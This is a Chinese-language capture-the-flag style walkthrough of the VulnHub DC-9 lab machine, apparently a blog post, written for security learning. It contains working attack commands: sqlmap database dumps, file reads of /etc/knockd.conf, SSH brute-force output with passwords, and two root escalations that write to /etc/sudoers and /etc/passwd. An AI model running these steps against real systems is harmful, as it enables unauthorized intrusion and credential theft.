vulnhub之DC9靶机

介绍

系列: DC(此系列共10台)
发布日期:2019年12月29日
难度:中级
Flag:获取root权限并读取唯一的Flag
学习:

  • bp联动xray扫描
  • sql注入
  • 任意文件读取
  • ssh开门
  • 提权

靶机地址:https://www.vulnhub.com/entry/dc-9,412/
从靶场得到提示信息:

  • 靶机更适用Virtualbox

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

netdiscover -i eth0 -r 192.168.1.0/24

在这里插入图片描述

主机信息探测

信息探测:nmap -A -p- 192.168.1.127,开放了22(不确定)和80端口
在这里插入图片描述

访问网站

在这里插入图片描述

目录扫描没有扫出来什么有价值的信息,网站首页点点点,发现了一堆资料信息。可以试试爆破网站
在这里插入图片描述

爆破网站-失败

  1. 获取密码本
cewl http://192.168.1.127/display.php -d 2 -w wordlist.txt
  1. 爆破。没有得到账号密码。

在这里插入图片描述

漏扫网站

暂时没看出来什么问题,试着bp联动xray漏扫一下。

  1. bp设置顶级代理

在这里插入图片描述

  1. xray开启被动扫描
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:6666 --html-output result.html

发现了sql注入漏洞
在这里插入图片描述

或者换个视角:
在这里插入图片描述

sqlmap注入

在上一篇文章 DC8 中已经介绍了手工sql注入,这里就介绍下sqlmap自动化注入:

  1. 确认存在sql注入漏洞:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1"

在这里插入图片描述

  1. 获取数据库名:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" --dbs

在这里插入图片描述

  1. 测试staff数据库中的表名:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff --tables

在这里插入图片描述

  1. 获取user表中的字段:
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columnssqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users --columns

在这里插入图片描述

  1. 获取数据
sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D Staff -T Users -C "UserID,Username,Password" --dump

在这里插入图片描述

  1. md5碰撞:https://www.somd5.com/

得到密码:transorbital1
在这里插入图片描述

同理,可以获取另一个数据库的内容:

sqlmap -u "http://192.168.1.127/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump

在这里插入图片描述

任意文件读取漏洞

使用账号:admin,密码:transorbital1 登录网站之后,看到网站左下角提示文件不存在
在这里插入图片描述

试一下,确实存在。但是,接下来怎么搞呢?
在这里插入图片描述

网上看了下相关文章,只能说,确实没想到。
通过/proc/sched_debug 来查看Linux系统中任务的调度情况
在这里插入图片描述

发现了Knockd。在之前的文章中曾介绍过它:https://www.yuque.com/u1881995/xwfvho/emg3of#fhrny
读取下knockd的配置文件:/etc/knockd.conf,获得ssh开门密码:7469,8475,9842
在这里插入图片描述

开启SSH端口

apt install knockd
nmap -sV 192.168.1.127 -p 22

在这里插入图片描述

SSH爆破

web的渗透基本到这里就结束了,接下来需要尝试SSH爆破。上文通过users数据库看到UserDetails表中存在的数据。现在尝试使用这些数据来爆破SSH
在这里插入图片描述

[22][ssh] host: 192.168.1.127   login: chandlerb   	password: UrAG0D!
[22][ssh] host: 192.168.1.127   login: joeyt   			password: Passw0rd
[22][ssh] host: 192.168.1.127   login: janitor   		password: Ilovepeepee

信息收集

分别用不同的账号尝试登录,首先发现靶机上有很多用户,然后没有发现什么有趣的文件,考虑使用别的账号继续登录,看看能不能看到什么有趣的东西。
在这里插入图片描述

当以 janitor 用户登录的时候,发现了一些新的密码信息。看来需要二次爆破
在这里插入图片描述

二次SSH爆破

重新建立一个密码本,用来保存上面的密码,来加快爆破速度
在这里插入图片描述

得到新的账号密码:

[22][ssh] host: 192.168.1.127   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.1.127   login: fredf   password: B4-Tru3-001

当以 fredf 身份登录的时候发现了敏感信息
在这里插入图片描述

查看其文件内容,经核对,/opt/devstuff/test.py应该是目标文件。发现这是一段追加脚本。
在这里插入图片描述

提权方式1

往/etc/sudoers里面添加内容,让用户可以以root的权限去执行命令。创建/dev/shm/sudoerAdd,内容如下:

joeyt ALL=(ALL) ALL

然后执行

sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers

最后通过切换身份为 joeyt 即可提权
在这里插入图片描述

提权方式2

添加一个新的用户到/etc/passwd,然后新添加的用户登陆。

  1. 通过OpenSSL passwd生成一个新的用户hacker,密码为hack123
openssl passwd -1 -salt hack hack123

在这里插入图片描述

  1. 构造一下hack用户的/etc/passwd的内容
hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash
  1. 借助/opt/devstuff/dist/test/test提权
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> dc9pass
sudo /opt/devstuff/dist/test/test dc9pass /etc/passwd

在这里插入图片描述

参考

【Vulnhub】DC9

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值